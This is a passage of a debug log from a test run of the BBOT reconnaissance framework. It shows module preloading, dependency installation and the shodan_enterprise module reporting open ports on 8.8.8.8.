[DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-01 16:56:21,160 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-01 16:56:21,161 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-01 16:56:21,162 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-01 16:56:21,162 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-01 16:56:21,163 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-01 16:56:21,164 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-01 16:56:21,164 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-01 16:56:21,165 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-01 16:56:21,165 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-01 16:56:21,166 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-01 16:56:21,166 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-01 16:56:21,167 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-01 16:56:21,168 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-01 16:56:21,168 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-01 16:56:21,169 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-01 16:56:21,169 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-01 16:56:21,170 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-01 16:56:21,170 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 16:56:21,171 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 16:56:21,171 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 16:56:21,172 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 16:56:21,173 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 16:56:21,173 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 16:56:21,175 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 16:56:21,175 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 16:56:21,178 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 16:56:21,179 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 16:56:21,180 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 16:56:21,181 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 16:56:21,182 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 16:56:21,182 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-01 16:56:21,184 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 16:56:21,184 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 16:56:21,185 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 16:56:21,185 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 16:56:21,186 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-01 16:56:21,186 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-01 16:56:21,187 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 16:56:21,187 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-01 16:56:21,188 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-01 16:56:21,189 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-01 16:56:21,189 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-01 16:56:21,190 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-01 16:56:21,191 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-01 16:56:21,191 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-03-01 16:56:21,192 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 16:56:21,192 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-01 16:56:21,193 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 16:56:21,194 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-01 16:56:21,195 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-01 16:56:21,196 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-01 16:56:21,196 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-01 16:56:21,197 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-01 16:56:21,198 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-01 16:56:21,199 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-01 16:56:21,199 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-01 16:56:21,200 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-01 16:56:21,201 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-01 16:56:21,202 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-01 16:56:21,203 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-01 16:56:21,204 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-01 16:56:21,204 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-01 16:56:21,205 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-01 16:56:21,206 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-01 16:56:21,207 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-01 16:56:21,208 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-01 16:56:21,209 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-01 16:56:21,209 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-01 16:56:21,210 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-01 16:56:21,211 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 16:56:21,212 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-01 16:56:22,337 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:56:22,337 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:56:22,338 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 16:56:22,475 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 16:56:23,048 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 16:56:23,048 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 16:56:23,049 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 16:56:23,049 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 16:56:23,259 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 16:56:23,260 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 16:56:23,370 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 16:56:23,370 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 16:56:23,427 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 16:56:23,430 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 16:56:23,430 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 16:56:23,861 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 16:56:23,861 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 16:56:36,188 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 16:56:36,189 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 16:56:36,189 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 16:56:38,013 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 16:56:38,014 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 16:56:38,019 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:56:38,020 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 16:56:38,020 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:56:38,020 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 16:56:38,020 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:56:38,020 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 16:56:38,021 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:56:38,021 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 16:56:38,021 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 16:56:38,022 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 16:56:38,026 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/3xqe0fzcnefbkoi4cn2p -2026-03-01 16:56:38,793 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 16:56:38,794 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 16:56:38,795 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 16:56:38,914 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 16:56:38,915 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 16:56:38,915 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 16:56:38,916 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-03-01 16:56:38,917 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 16:56:38,917 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 16:56:38,917 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 16:56:38,918 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 16:56:38,919 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 16:56:38,919 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 16:56:38,920 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 16:56:38,920 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 16:56:38,920 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 16:56:38,920 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 16:56:38,921 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 16:56:38,921 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 16:56:38,921 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 16:56:38,921 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 16:56:38,921 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 16:56:38,921 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 16:56:38,921 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 16:56:38,922 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 16:56:38,922 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 16:56:38,922 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 16:56:38,922 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 16:56:38,922 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 16:56:38,922 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 16:56:38,923 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 16:56:38,923 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 16:56:38,923 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 16:56:38,924 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 16:56:38,924 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 16:56:38,924 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 16:56:38,924 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 16:56:38,924 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 16:56:38,925 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 16:56:38,925 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 16:56:38,925 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 16:56:38,925 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 16:56:38,925 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-01 16:56:38,926 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 16:56:38,926 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 16:56:38,926 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 16:56:38,926 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 16:56:38,927 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 16:56:39,064 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_w46nsplara -2026-03-01 16:56:39,064 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 16:56:39,170 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 16:56:39,170 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 16:56:39,170 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 16:56:39,172 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) -2026-03-01 16:56:39,271 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) passed post-check -2026-03-01 16:56:39,272 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) -2026-03-01 16:56:39,274 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) in-scope because its main host matches the scan target -2026-03-01 16:56:39,274 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-03-01 16:56:39,276 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:56:39,276 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:56:39,277 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-03-01 16:56:39,277 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-03-01 16:56:39,279 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:56:39,280 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:56:39,281 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:56:39,283 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:56:39,283 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:56:39,285 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:56:39,286 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-01 16:56:39,289 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-03-01 16:56:39,290 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-03-01 16:56:39,290 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-03-01 16:56:39,291 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-03-01 16:56:39,291 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded -2026-03-01 16:56:39,292 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded -2026-03-01 16:56:39,292 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET -2026-03-01 16:56:39,292 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-03-01 16:56:39,293 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-03-01 16:56:39,383 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-03-01 16:56:39,384 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-01 16:56:39,385 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:0c795f18ca615619572ec234a51d22711195ae84', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:56:39,385 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET -2026-03-01 16:56:39,385 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-03-01 16:56:39,386 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:39,387 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,388 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:56:39,388 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,389 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:39,389 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:39,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,391 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:56:39,391 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,391 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:39,391 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,392 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,392 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:39,393 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,394 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-01 16:56:39,394 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:39,395 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,395 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,396 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 